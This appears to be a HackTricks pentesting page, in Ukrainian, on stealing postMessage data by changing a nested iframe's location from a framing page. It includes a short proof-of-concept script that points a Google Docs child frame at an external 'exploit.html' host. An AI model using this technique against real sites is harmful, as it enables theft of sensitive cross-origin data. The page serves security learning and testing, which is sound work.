Вкрасти postmessage, змінюючи місцезнаходження iframe

Reading time: 2 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Зміна місцезнаходжень дочірніх iframe

Згідно з цією статтею, якщо ви можете вставити веб-сторінку в iframe без X-Frame-Header, яка містить інший iframe, ви можете змінити місцезнаходження цього дочірнього iframe.

Наприклад, якщо abc.com має efg.com як iframe, а abc.com не має заголовка X-Frame, я міг би змінити efg.com на evil.com з іншого походження, використовуючи frames.location.

Це особливо корисно в postMessages, оскільки якщо сторінка надсилає чутливі дані, використовуючи доменне ім'я на кшталт windowRef.postmessage("","*"), можливо змінити місцезнаходження відповідного iframe (дочірнього або батьківського) на місцезнаходження, контрольоване зловмисником, і вкрасти ці дані.

html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)

function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks